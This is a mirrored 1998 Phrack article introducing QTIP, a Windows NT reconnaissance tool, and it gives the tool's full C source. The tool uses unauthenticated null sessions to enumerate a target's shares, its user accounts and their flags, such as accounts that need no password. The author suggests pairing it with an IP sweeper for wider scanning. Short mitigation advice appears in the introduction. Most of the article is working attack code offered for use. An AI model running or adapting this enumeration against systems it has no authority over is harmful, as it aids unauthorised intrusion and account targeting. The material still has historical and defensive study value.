mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
565 lines
16 KiB
Text
565 lines
16 KiB
Text
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 10 of 20
|
|
|
|
|
|
-------------------------[ a Quick nT Interrogation Probe (QTIP)
|
|
|
|
|
|
--------[ twitch <twitch@aye.net>
|
|
|
|
|
|
----[ INTRODUCTION
|
|
|
|
|
|
As you probably already know, certain LanMan derivatives (most notably
|
|
Windows NT) sport a stupid feature known as `null sessions`. Null sessions
|
|
allow server connections to be established without the hassle and rigmarole of
|
|
username or password authentication. This is reportedly to ease
|
|
administrative tasks (UserManager and ilk utilize them). Also, such silliness
|
|
such as the RedButton bug have shown (although in poor form) that an
|
|
interested/malicious third party can gleen quite a bit of info from `Press any
|
|
key to return to index`. Once established, these connections default to having
|
|
permissions to display enumerated user and share lists, get information about
|
|
particular users, wander the registry, etc. QTIP takes advantage of this,
|
|
allowing the user to procure far too much information about the target
|
|
machine. It employs no black magic or hidden technique to do this. QTIP
|
|
works via straight API calls.
|
|
|
|
As of service pack 3 for NT 4.0, it is possible for the `informed` system
|
|
administrator to block null sessions through the registry, effectively
|
|
nullifying any threat from QTIP. I do not, however, believe that there is
|
|
such a patch for 3.5.1 machines. Also, it has not been tested against SAMBA
|
|
servers, and as far as the author knows, SAMBA does not support something as
|
|
asinine as null sessions (anyone who knows any differently is invited to mail
|
|
corrections to the author, or directly to Phrack Magazine).
|
|
|
|
To prevent these sorts of shenanigans from happening remotely across the
|
|
Internet, the concerned system administrator can block NBT traffic at the
|
|
gateway (this sort of traffic should not be allowed to/from the Internet as
|
|
standard fare). If you are running NT 4.0, install the service packs, and set
|
|
the appropriate registry values to disable the attack. Or use OpenBSD.
|
|
|
|
|
|
----[ THE CODE
|
|
|
|
|
|
QTIP has a few options. qtip -h supplies the following info:
|
|
|
|
usage qtip[asug<username>hv] <target>
|
|
-s: get share list
|
|
-u: get user list
|
|
-g <username>: get infos about <username>
|
|
-d: leave connection established on exit
|
|
-a: -s + -u
|
|
-h, -?: display this help
|
|
-v: be verbose (use twice to be garrulous)
|
|
|
|
Seems rather self explanatory. If the verbose flag is set, then -u
|
|
implies a recursive -g. -d is handy if you plan to take a look at the
|
|
registry as well (there's gold in them thar hills). Omission of all flags just
|
|
establishes a null session and exits. <target> can be a fully-qualified
|
|
domain name, ip address, or UNC format. The code compiles like a dream under
|
|
visual c 4.1. There is no makefile included, just link the code against
|
|
kernel32.lib, libc.lib and wsock32.lib. This program is most useful wrapped
|
|
in scripts with something like tping(ip sweeper), and maybe a few registry
|
|
inquisition perl scripts. Feel free to redistribute, just give props where
|
|
props are due, and please let me know if you make any interesting changes.
|
|
|
|
<++> qtip/qtip.h
|
|
/*
|
|
* qtip.h
|
|
* 12/04/1997
|
|
* twitch
|
|
* twitch@aye.net
|
|
*
|
|
* a quick nt investigative probe. (mis)uses null sessions to collect
|
|
* sundry information about a WindowsNT server. distribute as you
|
|
* please. be alert, look alive, and act like you kow.
|
|
*
|
|
* '...i should dismiss him, in order to teach him that pleasure consists
|
|
* not in what i enjoy, but in having my own way.'
|
|
* -sk, either/or
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
#include <winsock.h>
|
|
#include "lm.h"
|
|
|
|
#define k16 16384
|
|
#define TARG_LEN 255
|
|
#define USER_LEN 22
|
|
|
|
void handle_error(DWORD);
|
|
void prepend_str(char *, char*);
|
|
int open_session();
|
|
int procure_userlist();
|
|
int procure_sharelist();
|
|
void parse_cl(int, char **);
|
|
void usage(char *);
|
|
int powerup(int, char **);
|
|
void bail(const char *);
|
|
int close_session();
|
|
void get_usr_info(wchar_t *);
|
|
|
|
/* couple o globals to make my life easier */
|
|
u_int OPT_SHARES, OPT_USERS, OPT_GETUI;
|
|
u_int OPT_NODEL, VERB;
|
|
char target[TARG_LEN];
|
|
WCHAR utarg[TARG_LEN];
|
|
WCHAR user[USER_LEN];
|
|
NETRESOURCE nr;
|
|
|
|
<-->
|
|
<++> qtip/qtip.c
|
|
|
|
/*
|
|
* qtip.c
|
|
* 10/04/1997
|
|
* twitch
|
|
* twitch@aye.net
|
|
*
|
|
* a quick nt investigative probe
|
|
* link against kernel32.lib, libc.lib and wsock32.lib.
|
|
* qtip -h for usage. distribute as you please.
|
|
*
|
|
*/
|
|
|
|
#include "qtip.h"
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
if( (powerup(argc, argv)) )
|
|
return(1);
|
|
|
|
if( (open_session()) != 0)
|
|
return(1);
|
|
|
|
if(OPT_SHARES)
|
|
procure_sharelist();
|
|
|
|
if(OPT_USERS)
|
|
procure_userlist();
|
|
|
|
if(OPT_GETUI)
|
|
get_usr_info(utarg);
|
|
|
|
close_session();
|
|
return(0);
|
|
}
|
|
|
|
int open_session()
|
|
{
|
|
DWORD r;
|
|
|
|
nr.dwType = RESOURCETYPE_ANY;
|
|
nr.lpLocalName = NULL;
|
|
nr.lpProvider = NULL;
|
|
nr.lpRemoteName = target;
|
|
|
|
if(VERB)
|
|
printf("establishing null session with %s...\n", target);
|
|
|
|
r = WNetAddConnection2(&nr, "", "", 0);
|
|
if(r != NO_ERROR){
|
|
handle_error(r);
|
|
return -1;
|
|
}
|
|
|
|
if(VERB)
|
|
printf("connection established\n");
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* procure_userlist()
|
|
* just use the old lm NetUserEnum() because there isnt comparable
|
|
* functionality in the WNet sect. i just wish the win32 api was
|
|
* more bloated and obtuse.
|
|
*/
|
|
int procure_userlist()
|
|
{
|
|
NET_API_STATUS nas;
|
|
LPBYTE *buf = NULL;
|
|
DWORD entread, totent, rhand;
|
|
DWORD maxlen = 0xffffffff;
|
|
USER_INFO_0 *usrs;
|
|
unsigned int i;
|
|
int cc = 0;
|
|
|
|
entread = totent = rhand = nas = 0;
|
|
if( (buf = (LPBYTE*)malloc(k16)) == NULL)
|
|
bail("malloc probs\n");
|
|
|
|
if(VERB)
|
|
wprintf(L"\ngetting userlist from %s...\n", utarg);
|
|
|
|
nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand);
|
|
if(nas != NERR_Success){
|
|
fprintf(stderr, "couldnt enum users, ");
|
|
handle_error(nas);
|
|
goto cleanup;
|
|
}
|
|
|
|
cc = sizeof(USER_INFO_0) * entread;
|
|
if( (usrs = (USER_INFO_0 *)malloc(cc)) == NULL){
|
|
fprintf(stderr, "malloc probs\n");
|
|
goto cleanup;
|
|
}
|
|
|
|
memcpy(usrs, *buf, cc);
|
|
for(i = 0; i < entread; i++){
|
|
wcscpy(user, usrs[i].usri0_name);
|
|
wprintf(L"%s\n", user);
|
|
if(VERB)
|
|
get_usr_info(utarg);
|
|
}
|
|
|
|
cleanup:
|
|
if(buf)
|
|
free(buf);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* get_user_info()
|
|
* attempt to gather some interesting facts about
|
|
* a user
|
|
*/
|
|
void get_usr_info(LPWSTR utarg)
|
|
{
|
|
NET_API_STATUS nas;
|
|
USER_INFO_1 usrinfos;
|
|
LPBYTE *buf = NULL;
|
|
|
|
if( !(buf = (LPBYTE *)malloc(sizeof(USER_INFO_1))) )
|
|
bail("malloc probs\n");
|
|
|
|
nas = NetUserGetInfo(utarg, user, 1, buf);
|
|
|
|
if(nas){
|
|
fwprintf(stderr, L"couldnt get user info for for %s, ", user);
|
|
handle_error(nas);
|
|
}
|
|
else{
|
|
memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));
|
|
|
|
/* most of these will never happen, but nothings lost trying */
|
|
if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
|
|
printf("\t-password not required, how about that.\n");
|
|
if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
|
|
printf("\t-account disabled\n");
|
|
if( (UF_LOCKOUT & usrinfos.usri1_flags) )
|
|
printf("\t-account locked out\n");
|
|
if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
|
|
printf("\t-password doesnt expire\n");
|
|
if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
|
|
printf("\t-user cant change password\n");
|
|
if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
|
|
printf("\t-account for some other box in this domain\n");
|
|
if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
|
|
printf("\t-account for what is prolly the BDC\n");
|
|
if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
|
|
printf("\t-interdomain permit to trust account\n");
|
|
}
|
|
|
|
free(buf);
|
|
}
|
|
|
|
/*
|
|
* procure_sharelist()
|
|
* strangely enough, this retrieves a sharelist from target
|
|
*/
|
|
int procure_sharelist()
|
|
{
|
|
DWORD r;
|
|
DWORD bufsize = 16384, cnt = 0xFFFFFFFF;
|
|
HANDLE enhan;
|
|
void *buf;
|
|
NETRESOURCE *res;
|
|
u_int i;
|
|
|
|
if( (buf = malloc(bufsize)) == NULL){
|
|
fprintf(stderr, "malloc probs, bailing\n");
|
|
return -1;
|
|
}
|
|
|
|
nr.dwScope = RESOURCE_CONNECTED;
|
|
nr.dwType = RESOURCETYPE_ANY;
|
|
nr.dwDisplayType = 0;
|
|
nr.dwUsage = RESOURCEUSAGE_CONTAINER;
|
|
nr.lpLocalName = NULL;
|
|
nr.lpRemoteName = (LPTSTR)target;
|
|
nr.lpComment = NULL;
|
|
nr.lpProvider = NULL;
|
|
|
|
r = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
|
|
RESOURCEUSAGE_CONNECTABLE, &nr
|
|
, &enhan);
|
|
if(r != 0){
|
|
free(buf);
|
|
printf("open_enum failed, sorry- ");
|
|
handle_error(r);
|
|
return -1;
|
|
}
|
|
|
|
r = WNetEnumResource(enhan, &cnt, buf, &bufsize);
|
|
if(r != 0){
|
|
free(buf);
|
|
printf("enum_res failed- ");
|
|
handle_error(r);
|
|
return -1;
|
|
}
|
|
|
|
res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE));
|
|
if(res == NULL){
|
|
free(buf);
|
|
printf("malloc probs, i wont be listing shares.\n");
|
|
return -1;
|
|
}
|
|
memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) );
|
|
|
|
for(i = 0; i < cnt; i++){
|
|
if(VERB)
|
|
printf("\nshare name:\t");
|
|
|
|
printf("%s\n", res[i].lpRemoteName);
|
|
if(VERB){
|
|
printf("share type:\t");
|
|
if(res[i].dwType = RESOURCETYPE_DISK)
|
|
printf("disk");
|
|
else
|
|
printf("printer");
|
|
printf("\ncomment:\t%s\n", res[i].lpComment);
|
|
}
|
|
}
|
|
|
|
free(buf);
|
|
free(res);
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* close_session()
|
|
* clean up our mess
|
|
*/
|
|
int close_session()
|
|
{
|
|
DWORD r;
|
|
|
|
WSACleanup();
|
|
if(!OPT_NODEL)
|
|
r = WNetCancelConnection2(target, 0, TRUE);
|
|
|
|
if(r != 0){
|
|
fprintf(stderr, "couldnt delete %s, returned %d\n", target, r);
|
|
return -1;
|
|
}
|
|
else{
|
|
if(VERB)
|
|
printf("connection to %s deleted\n", target);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* handle_error()
|
|
* util function to deal with some errors.
|
|
*/
|
|
void handle_error(DWORD err)
|
|
{
|
|
switch(err){
|
|
case ERROR_ACCESS_DENIED:
|
|
fprintf(stderr, "access is denied.\n");
|
|
break;
|
|
case ERROR_BAD_NET_NAME:
|
|
fprintf(stderr, "bad net name.\n");
|
|
break;
|
|
case ERROR_EXTENDED_ERROR:
|
|
fprintf(stderr, "an extended error occurred.\n");
|
|
break;
|
|
case ERROR_INVALID_PASSWORD:
|
|
fprintf(stderr, "invalid password.\n");
|
|
break;
|
|
case ERROR_LOGON_FAILURE:
|
|
fprintf(stderr, "bad username or password.\n");
|
|
break;
|
|
case NO_ERROR:
|
|
fprintf(stderr, "it worked\n");
|
|
break;
|
|
case ERROR_BAD_NETPATH:
|
|
fprintf(stderr, "network path not found.\n");
|
|
break;
|
|
default:
|
|
fprintf(stderr, "a random error occurred (%d).\n", err);
|
|
}
|
|
}
|
|
|
|
/*
|
|
* prepend_str()
|
|
* util funk to prepend chars to a string
|
|
*/
|
|
void prepend_str(char *orgstr, char *addthis)
|
|
{
|
|
orgstr = _strrev(orgstr);
|
|
addthis = _strrev(addthis);
|
|
strcat(orgstr, addthis);
|
|
orgstr = _strrev(orgstr);
|
|
}
|
|
/*
|
|
* parse_cl()
|
|
* try and make sense of the command line. no, i dont have a win32 getopt.
|
|
* yes, i know i should
|
|
*/
|
|
void parse_cl(int argc, char **argv)
|
|
{
|
|
int i, cc;
|
|
char opt;
|
|
DWORD r;
|
|
|
|
OPT_SHARES = OPT_USERS = VERB = 0;
|
|
|
|
for(i = 1; i < (argc); i++){
|
|
if( (*argv[i]) == '-'){
|
|
opt = *(argv[i]+1);
|
|
switch(opt){
|
|
case 'a':
|
|
OPT_SHARES = 1;
|
|
OPT_USERS = 1;
|
|
break;
|
|
case 's':
|
|
OPT_SHARES = 1;
|
|
break;
|
|
case 'u':
|
|
OPT_USERS = 1;
|
|
break;
|
|
case 'g':
|
|
OPT_GETUI = 1;
|
|
if( (strlen(argv[i+1])) > USER_LEN)
|
|
bail("username too long (must be < 21)");
|
|
ZeroMemory(user, USER_LEN);
|
|
cc = strlen(argv[++i]);
|
|
r = MultiByteToWideChar(CP_ACP, 0, argv[i], cc, user, (cc + 2));
|
|
break;
|
|
case 'd':
|
|
OPT_NODEL = 1;
|
|
break;
|
|
case 'v':
|
|
VERB++;
|
|
break;
|
|
default:
|
|
if( (opt != 'h') && (opt != '?') )
|
|
fprintf(stderr, "unknown option '%c'\n", opt);
|
|
usage(argv[0]);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if( (OPT_SHARES) && (VERB) )
|
|
printf("listing shares\n");
|
|
if( (OPT_USERS) && (VERB) )
|
|
printf("listing users\n");
|
|
if( (OPT_GETUI) && (VERB) )
|
|
wprintf(L"getting infos about user %s\n", user);
|
|
if(VERB)
|
|
printf("verbosity = %d\n", VERB);
|
|
}
|
|
|
|
/*
|
|
* powerup()
|
|
* just init stuff and parse the command line
|
|
*/
|
|
int powerup(int argc, char **argv)
|
|
{
|
|
struct hostent *hent;
|
|
u_long addie;
|
|
WORD werd;
|
|
WSADATA data;
|
|
char buf[256];
|
|
int cc = 0, ucc = 0;
|
|
|
|
if(argc < 3)
|
|
usage(argv[0]);
|
|
|
|
parse_cl(argc, argv);
|
|
ZeroMemory(buf, 256);
|
|
strcpy(buf, argv[argc - 1]);
|
|
|
|
/* if not unc format get the ip */
|
|
if(buf[0] != '\\'){
|
|
if(VERB > 1)
|
|
printf("target not in unc\n");
|
|
|
|
werd = MAKEWORD(1, 1);
|
|
if( (WSAStartup(werd, &data)) !=0 )
|
|
bail("couldnt init winsock\n");
|
|
|
|
hent = (struct hostent *)malloc(sizeof(struct hostent));
|
|
if(hent == NULL)
|
|
bail("malloc probs\n");
|
|
|
|
if( (addie = inet_addr(buf)) == INADDR_NONE){
|
|
hent = gethostbyname(buf);
|
|
if(hent == NULL){
|
|
fprintf(stderr, "fatal: couldnt resolve %s.\n", buf);
|
|
return -1;
|
|
}
|
|
ZeroMemory(buf, 256);
|
|
strcpy(buf, inet_ntoa(*(struct in_addr *)*hent->h_addr_list));
|
|
}
|
|
prepend_str(buf, "\\\\");
|
|
}
|
|
else
|
|
fprintf(stderr, "target already in unc\n");
|
|
|
|
if( (strlen(buf) > (TARG_LEN - 1)) ){
|
|
free(buf);
|
|
bail("hostname too long (must be < 255 chars.)");
|
|
return -1;
|
|
}
|
|
|
|
ZeroMemory(target, TARG_LEN);
|
|
strcpy(target, buf);
|
|
|
|
ZeroMemory(utarg, TARG_LEN);
|
|
cc = strlen(target);
|
|
ucc = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, target, cc, utarg, cc);
|
|
if(ucc < 1){
|
|
bail("unicode conversion probs, sorry");
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
void usage(char *prog)
|
|
{
|
|
fprintf(stderr, "usage: %s [asug<username>hv] <target>\n", prog);
|
|
fprintf(stderr, "\t-s:\t\tget share list\n");
|
|
fprintf(stderr, "\t-u:\t\tget user list\n");
|
|
fprintf(stderr, "\t-g: <username>\tget infos about just <username>\n");
|
|
fprintf(stderr, "\t-d:\t\tleave connection established on exit\n");
|
|
fprintf(stderr, "\t-a:\t\t-s + -u\n");
|
|
fprintf(stderr, "\t-h, -?:\t\tdisplay this help\n");
|
|
fprintf(stderr, "\t-v:\t\tbe verbose (use twice to be garrolous)\n");
|
|
exit(0);
|
|
}
|
|
|
|
/*
|
|
* bail()
|
|
* just whine and die
|
|
*/
|
|
void bail(const char *msg)
|
|
{
|
|
fprintf(stderr, "fatal: %s\n", msg);
|
|
close_session();
|
|
exit(1);
|
|
}
|
|
<-->
|
|
|
|
|
|
----[ EOF
|
|
|